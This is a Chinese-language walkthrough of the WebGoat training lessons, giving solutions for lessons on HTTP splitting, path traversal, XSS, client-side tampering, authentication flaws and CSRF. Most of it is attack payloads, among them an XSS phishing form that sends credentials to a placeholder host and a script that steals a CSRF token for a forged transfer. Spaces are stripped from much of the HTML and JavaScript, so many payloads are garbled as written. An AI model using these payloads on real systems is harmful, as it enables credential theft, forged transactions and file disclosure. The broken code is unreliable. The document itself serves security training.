***General*************************************************************

1、Http Spliting
step1

cn%0aContent-length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-length:30%0a<html>Haha</html>

step2
//添加Last-Modified头,设置服务器页面的过期时间,注意日期的格式。

cn%0aContent-length:%200%0a%0aHTTP/1.1%20200%20OK%0aLast-Modified:%20Thu,%2001%20Jan%204099%2012:00:00%20GMT%20%20%20%0aContent-Type:%20text/html%0aContent-length:30%0a<html>Haha</html>


***Access Control Flaws**************************************************

1、Bypass a Path Based Access Control Scheme

../../../../../../../etc/tomcat6/tomcat-users.xml

当前在第几级目录,则有多少个..就可以到根目录。

***AJAX Security*********************************************************
1、LAB: DOM-Based cross-site scripting
step1

<imgsrc="/webgoat/p_w_picpaths/logos/owasp.jpg"></img>

submit
step2

<imgsrc="/webgoat/p_w_picpaths/logos/owasp.jpg"onerror="javascript:alert(/xss/)"></img>onmouseover......

<aonclick="javascript:alert(/xss/)">haha</a>

onmouseover/onmouseout......

<aonclick="javascript:eval(document.location.href='http://www.baidu.com')">haha</a>

step3

<iframesrc="javascript:alert(/xss/)"></iframe>

step4

Pleaseenteryourpassword:<br><inputtype="password"id="passwd"><br><buttononClick="javascript:alert('Ihaveyourpassword:'+pass.value);">Submit</button>

可以通关,但是pass.value会报错。
step5
编辑/owaspbwa/WebGoat-svn/target/WebGoat-5.4+SVN/javascript/DOMXSS.js,给name添加escapeHTML函数。

functiondisplayGreeting(name){if(name!=''){document.getElementById("greeting").innerHTML="Hello,"+escapeHTML(name);+"!";}

编码后,变成

<h2id="greeting">Hello,&lt;aonclick="javascript:alert(/xss/)"&gt;haha&lt;/a&gt;</h2>

2、LAB: Client Side Filtering
step1
用webscarab抓取Ajax数据,可以发现12个员工的数据。
3、XML Injection
4、JSON Injection
用webscarab抓取xml、JSON数据直接进行修改即可。
5、Silent Transactions Attacks
分析script代码知Ajax调用submitData(accountNo, balance)函数转账,则可直接调用此函数进行转账。在浏览器输入:

javascript:submitData(666,10000)

6、Dangerous Use of Eval

123"');alert(document.cookie);//

alert('Whoops:You entered an incorrect access code of "123"');alert(document.cookie);//"';
7、Insecure Client Storage
step1
firebug调试clientSideValidation.js,在42行return caesar处设置断点,连续运行即可发现所有coupon码:
platinum gold pressone presstuo
输入任意一个即可通过
step2
用webscarab抓取Ajax返回包,修改返回值为0即可完成。

***Authentication Flaws*************************************************************
1、Basic Authentication
step1
查看请求头即可知。
step2
1、使用webscarab删除认证头以及cookie(必须同时删除这两个)。
2、在返回的登录框中用basic:basic登录。
3、删掉此时cookie的值,即返回一个全新的webgoat。
4、选择此次课程即可通过。
2、Multi Level Login 2
以Joe/banana登录,输入指定的Tan即可查询自己的信息。此时通过webscarab修改发送请求的hidden_user的值为Jane即可。
3、Multi Level Login 1
同上,修改hidden_tan的值即可。

***Buffer Overflows********************************************************************

1、Off-by-One Overflows
使用burpsuite注入。

***Code Quality*************************************************************************

1、Discover Clues in the HTML
查看html源码,搜索<!即可发现:
<!-- FIXME admin:adminpw --><!-- Use Admin to regenerate database -->

***Cross-Site Scripting (XSS)***********************************************************

1、Phishing with XSS
构造form表单:

</form><br><br><br><hr><formaction="http://xx.xx.xx.xx/webgoat/Catcher"method="get"><h4>Thisfeaturerequiresaccountlogin:<h4><br><inputtype="text"name="PROPERTY"value="yes"hidden=""><br>Enterusername:&nbsp;<inputtype="text"name="user"><br>Enterpassword:&nbsp;<inputtype="password"name="password"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<inputtype="submit"value="Login"name="submit"></form>

通过代理可以看到确实向服务器发送了http://xx.xx.xx.xx/webgoat/Catcher?PROPERTY=yes&user=XX&password=XX&submit=Login的请求,但提示请求的内容不存在!!!!!!!
2、LAB: Cross Site Scripting
step1
编辑tom的profile,修改street部分为:<script>alert(/xss/)<script>,然后用Jerry登录查看tom的profile即可完成课程。//也可以修改其他字段。
step3
3、Stored XSS Attacks
在Message框内输入<script>alert(/xss/)</script>即可。
4、Reflected XSS Attacks
观察发现,UpdateCart Purchase均以post提交数据,但Enter your credit card number:以及Enter your three digit access code:处的值均被post原样返回,所以可以在
此处构造js。<script>alert(/xss/)</script>
5、Cross Site Request Forgery (CSRF)
同Stored Xss

<imgsrc="http://192.168.6.134/WebGoat/attack?Screen=888&menu=900&Num=6&transferFunds=4000"width="1"height="1"><img>

6、CSRF Prompt By-Pass

<imgsrc="http://XX.XX.XX.XX/WebGoat/attack?Screen=881&menu=900&transferFunds=5000"onerror="document.getElementById('imgConfirm').src='http://XX.XX.XX.XX/WebGoat/attack?Screen=881&menu=900&transferFunds=CONFIRM'"width="1"height="1"/><imgid="imgConfirm"width="1"height="1"/>

7、CSRF Token By-Pass
A、打开资金转账页面:在URL后添加transferFunds=main参数。
B、查看页面源码,发现:<input type="hidden" value="-953910496" name="CSRFToken">
C、构造Payload。关键是先加参数transferFunds=main打开转账页面获取该页面的CSRFToken。

<script>vartokenvalue;functionreadFrame1(){varframeDoc=document.getElementById("frame1").contentDocument;varform=frameDoc.getElementsByTagName("form")[1];vartoken=form.CSRFToken.value;tokenvalue='&CSRFToken='+token;loadFrame2();}functionloadFrame2(){vartestFrame=document.getElementById("frame2");testFrame.src="http://xx.xx.xx.xx/WebGoat/attack?Screen=838&menu=900&transferFunds=4000"+tokenvalue;}</script><iframesrc="http://xx.xx.xx.xx/WebGoat/attack?Screen=838&menu=900&transferFunds=main"onload="readFrame1();"id="frame1"frameborder="1"marginwidth="0"marginheight="0"width="1"scrolling=yesheight="1"></iframe><iframeid="frame2"frameborder="1"marginwidth="0"marginheight="0"width="1"scrolling=yesheight="1"></iframe>